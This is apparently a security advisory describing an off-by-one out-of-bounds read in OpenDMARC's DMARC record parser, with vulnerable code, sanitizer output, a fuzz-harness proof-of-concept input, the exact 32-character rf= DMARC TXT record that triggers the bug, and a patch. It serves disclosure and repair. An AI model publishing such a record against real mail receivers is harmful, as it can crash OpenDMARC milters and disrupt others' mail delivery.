Author: Weitong Li, Virginia Tech <weitongli@vt.edu>
Date: 2026-07-31
Vendor: The Trusted Domain Project
Software: OpenDMARC (libopendmarc)
Source code: https://github.com/trusteddomainproject/OpenDMARC
Affected version: OpenDMARC 1.4.2 and earlier, and current upstream master (commit bf37d53). Latest version tested on 2026-07-30.
Vulnerable component: libopendmarc/opendmarc_util.c, opendmarc_util_cleanup() line 159; crash at libopendmarc/opendmarc_policy.c line 1119 (the rf= tag handler)
Vulnerability type: CWE-193 (Off-by-one Error) leading to CWE-125 (Out-of-bounds Read)
Attack vector: Remote. The DMARC record is a DNS TXT record fetched from the sender's (or an attacker's) domain, so publishing the record is the whole attack.
CVSS v3.1: 8.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
Status: AddressSanitizer-confirmed in the library, and confirmed firing live through the full SMTP + DNS + milter stack in a running opendmarc process.
Impact. A DMARC TXT record whose rf= token is exactly 32 characters long makes strlen() run off the end of a 32-byte stack buffer.
Any domain that publishes a DMARC record can crash or read out of bounds in every OpenDMARC receiver that evaluates it. The read is of adjacent stack contents and the resulting length is then used to drive further parsing, so on an ordinary build the effect is undefined behaviour in the policy parser; under a sanitizer or a hardened allocator the milter process faults, denying DMARC evaluation and, depending on the milter failure mode, mail delivery.
Requiring only a DNS record and one message makes this the cheapest of the memory findings to trigger against a third party.
opendmarc_util_cleanup() copies a string into a caller-supplied buffer while dropping whitespace. Its length guard is strlen(str) > buflen, which admits an input of exactly buflen characters. When every one of those characters is non-whitespace the loop fills buf[0 .. buflen-1] completely and no NUL terminator is written, yet the function returns buf to callers that immediately treat it as a C string.
The DMARC record parser calls it from several tag handlers with fixed-size stack buffers. The rf= handler uses u_char xbuf[32], so a 32-character rf= token in an attacker-published DMARC TXT record makes the following strlen() read past the end of the array.
u_char *
opendmarc_util_cleanup(u_char *str, u_char *buf, size_t buflen)
{
if (str == NULL || buf == NULL || strlen((char *)str) > buflen) /* '>' should be '>=' */
{
errno = EINVAL;
return NULL;
}
(void) memset(buf, '\0', buflen);
for (sp = str, ep = buf; *sp != '\0'; sp++)
if (!isascii(*sp) || !isspace(*sp))
*ep++ = *sp; /* up to buflen non-space bytes written */
return buf; /* no room left for the terminator */
}
The crash site, in the rf= handler of opendmarc_policy_parse_dmarc():
u_char xbuf[32];
...
xp = opendmarc_util_cleanup(xp, xbuf, sizeof xbuf); /* xbuf left unterminated */
if (xp != NULL && strlen((char *)xp) > 0) /* :1119 - reads past xbuf[32] */
==ERROR== AddressSanitizer: stack-buffer-overflow
READ of size 33 at 0x...
#0 __interceptor_strlen
#1 opendmarc_policy_parse_dmarc opendmarc_policy.c:1119
opendmarc_util_cleanup() is called from more than one tag handler with a fixed-size stack buffer, so the same root cause is reachable through other tags; rf= is simply the one the fuzzer minimised to.
The token must be exactly 32 non-whitespace characters. Thirty-three or more is rejected by the guard, and thirty-one or fewer leaves room for the terminator.
printf 'v=DMARC1;p=none;rf=abcdefghijklmnopqrstuvwxyz012345\0example.com' > pocB
./fuzz_odmarc_record pocB
==ERROR== AddressSanitizer: stack-buffer-overflow ... READ ... in __interceptor_strlen
<- opendmarc_policy_parse_dmarc opendmarc_policy.c:1119
The real-world equivalent needs no harness. An attacker publishes, at a domain they control:
_dmarc.attacker.example. IN TXT "v=DMARC1; p=none; rf=abcdefghijklmnopqrstuvwxyz012345"
and sends one message with that domain in the From: header. This path was exercised end to end: with an AddressSanitizer-instrumented opendmarc running behind Postfix and a programmable authoritative DNS server, an ordinary inbound message plus the record above fires the sanitizer report inside the live milter.
- if (str == NULL || buf == NULL || strlen((char *)str) > buflen)
+ if (str == NULL || buf == NULL || strlen((char *)str) >= buflen)
{
errno = EINVAL;
return NULL;
}
...
+ *ep = '\0'; /* always terminate */
return buf;
Reserving the terminator in the guard and writing it unconditionally both fix the defect; applying both is preferable, since the second protects the other callers as well.
This is the same class as historical OpenDMARC parser CVEs. The live end-to-end confirmation through SMTP, DNS and the milter distinguishes it from the purely in-harness findings.